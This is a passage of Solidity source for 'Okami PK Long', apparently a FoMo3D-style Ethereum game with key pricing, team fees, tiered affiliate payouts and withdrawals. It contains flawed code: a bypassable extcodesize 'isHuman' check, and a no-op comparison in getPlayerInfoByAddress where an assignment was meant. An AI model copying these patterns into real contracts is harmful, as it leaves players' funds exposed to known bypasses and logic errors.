return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } // File: contracts/library/OPKdatasets.sol //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library OPKdatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 OPKAmount; // amount distributed to opk uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used uint8 level; } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead, lead领导吗? uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran 这个开关值得研究下 uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 opk; // % of buy in thats paid to opk holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 opk; // % of pot thats paid to opk holders } } // File: contracts/OPKevents.sol contract OPKevents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 OPKAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 OPKAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 OPKAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 OPKAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint8 level, uint256 timeStamp ); event onAffiliateDistribute ( uint256 from, address from_addr, uint256 to, address to_addr, uint8 level, uint256 fee, uint256 timeStamp ); event onAffiliateDistributeLeft ( uint256 pID, uint256 leftfee ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); // distributeRegisterFee event onDistributeRegisterFee ( uint256 affiliateID, bytes32 name, uint8 level, uint256 fee, uint256 communityFee, uint256 opkFee, uint256 refererFee, uint256 referPotFee ); } // File: contracts/OkamiPKLong.sol /** ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░░▌ ▐░░▌▐░░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌ ▐░▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ ▐░▌▐░▌░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌░▌ ▐░▌ ▐░▌▐░░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░░░░░░░░░░░▌▐░░▌ ▐░▌ ▐░▌▐░▌░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▀ ▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▄▄▄▄█░█▄▄▄▄ ▐░▌ ▐░▌ ▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▐░▌ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ * │ ┌────────────┐ * └────┤long version * └────────────┘ */ //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== contract OkamiPKlong is OPKevents { using SafeMath for *; using NameFilter for string; using OPKKeysCalcLong for uint256; otherFoMo3D private otherOPK_; DiviesInterface constant private Divies = DiviesInterface(0xD2344f06ce022a7424619b2aF222e71b65824975); PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xC4665811782e94d0F496C715CA38D02dC687F982); address private Community_Wallet1 = 0x52da4d1771d1ae96a3e9771D45f65A6cd6f265Fe; address private Community_Wallet2 = 0x00E7326BB568b7209843aE8Ee4F6b3268262df7d; //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== string constant public name = "Okami PK Long Official"; string constant public symbol = "Okami"; uint256 private rndExtra_ = 15 seconds; // length of the very first ICO uint256 private rndGap_ = 1 hours; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 1 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => OPKdatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => OPKdatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => OPKdatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA , Team的费用分配数据 //**************** mapping (uint256 => OPKdatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => OPKdatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== // XXX mapping (uint8 => uint256) public levelValue_; mapping (uint8 => uint8) public levelRate_; mapping (uint8 => uint8) public levelRate2_; constructor() public { // XXX levelValue_[3] = 0.01 ether; levelValue_[2] = 1 ether; levelValue_[1] = 5 ether; levelRate_[3] = 5; levelRate_[2] = 3; levelRate_[1] = 2; // Team allocation structures // 0 = Ares // 1 = cupid // 2 = athena // 3 = poseidon // Team allocation percentages // (long, opk) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = OPKdatasets.TeamFee(30,6); //50% to pot, 10% to aff, 3% to com, 1% to pot swap fees_[1] = OPKdatasets.TeamFee(43,0); //43% to pot, 10% to aff, 3% to com, 1% to pot swap fees_[2] = OPKdatasets.TeamFee(56,10); //20% to pot, 10% to aff, 3% to com, 1% to pot swap fees_[3] = OPKdatasets.TeamFee(43,8); //35% to pot, 10% to aff, 3% to com, 1% to pot swap // how to split up the final pot based on which team was picked // (long, opk) potSplit_[0] = OPKdatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com potSplit_[1] = OPKdatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com potSplit_[2] = OPKdatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com potSplit_[3] = OPKdatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isValidLevel(uint8 _level) { require(_level >= 0 && _level <= 3, "invalid level"); require(msg.value >= levelValue_[_level], "sorry request price less than affiliate level"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } /** * */ //devs check modifier onlyDevs(){ require( //msg.sender == 0x00D8E8CCb4A29625D299798036825f3fa349f2b4 || //test msg.sender == 0x00A32C09c8962AEc444ABde1991469eD0a9ccAf7 || msg.sender == 0x00aBBff93b10Ece374B14abb70c4e588BA1F799F, "only dev" ); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not OPKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // buy core buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not OPKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is existed , use original aff_id // XXX if (plyr_[_pID].laff == 0) { // update last affiliate plyr_[_pID].laff = _affID; PlayerBook.setPlayerAffID(_pID, _affID); }else { _affID = plyr_[_pID].laff; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data OPKdatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // XXX if (plyr_[_pID].laff == 0) { // update last affiliate plyr_[_pID].laff = _affID; }else { _affID = plyr_[_pID].laff; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data OPKdatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit OPKevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.OPKAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit OPKevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function distributeRegisterFee(uint256 _fee, uint256 _affID, bytes32 _name, uint8 _level) private { // 30% of fee default to com uint256 _com = _fee * 3 / 10; // 30% of fee default to opk pot uint256 _opk = _fee * 3 / 10; // if got aff then 30% to aff,else 30% to opk pot uint256 _ref; if (_affID > 0) { _ref = _fee * 3 / 10; plyr_[_affID].aff = _ref.add(plyr_[_affID].aff); }else { _opk += _fee * 3 / 10; } // transfer opk pot Divies.deposit.value(_opk)(); // rest of fee goes to ref pot uint256 _refPot = _fee - _com - _opk - _ref; PlayerBook.deposit.value(_refPot)(); emit OPKevents.onDistributeRegisterFee(_affID,_name,_level,_fee,_com, _opk,_ref,_refPot); return; } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXname(string _nameString, bytes32 _affCode, bool _all, uint8 _level) isHuman() isValidLevel(_level) public payable { bytes32 _name = _nameString.nameFilter(); // XXX uint _fee = msg.value; uint _com = msg.value * 3 / 10; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(_com)(msg.sender, _name, _affCode, _all, _level); distributeRegisterFee(_fee,_affID,_name,_level); // fire event reloadPlayerInfo(msg.sender); emit OPKevents.onNewName(pIDxAddr_[msg.sender], msg.sender, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _com, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function isRoundActive(uint256 _rID) public view returns(bool) { if( activated_ == false ) { return false; } return (now > round_[_rID].strt + rndGap_ && (now <= round_[_rID].end || (now > round_[_rID].end && round_[_rID].plyr == 0))) ; } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return Ares eth in for round * @return cupid eth in for round * @return athena eth in for round * @return poseidon eth in for round * @return 0 */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 0 //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256, uint8, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth, //6 plyr_[_pID].level, //7 plyr_[_pID].laff //8 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit OPKevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.OPKAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, OPKdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit OPKevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.OPKAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, OPKdatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // for rank board if(_pID != _affID){ PlayerBook.updateRankBoard(_pID,_eth); } PlayerBook.resolveRankBoard(); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ // XXX function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff, uint8 _level) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; if (plyr_[_pID].level != _level){ if (_level >= 0 && _level <= 3) plyr_[_pID].level = _level; } } function getBytesName(string _fromName) public pure returns(bytes32) { return _fromName.nameFilter(); } function validateName(string _fromName) public view returns(uint256) { bytes32 _bname = _fromName.nameFilter(); return pIDxName_[_bname]; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ // XXX function reloadPlayerInfo(address addr) private { 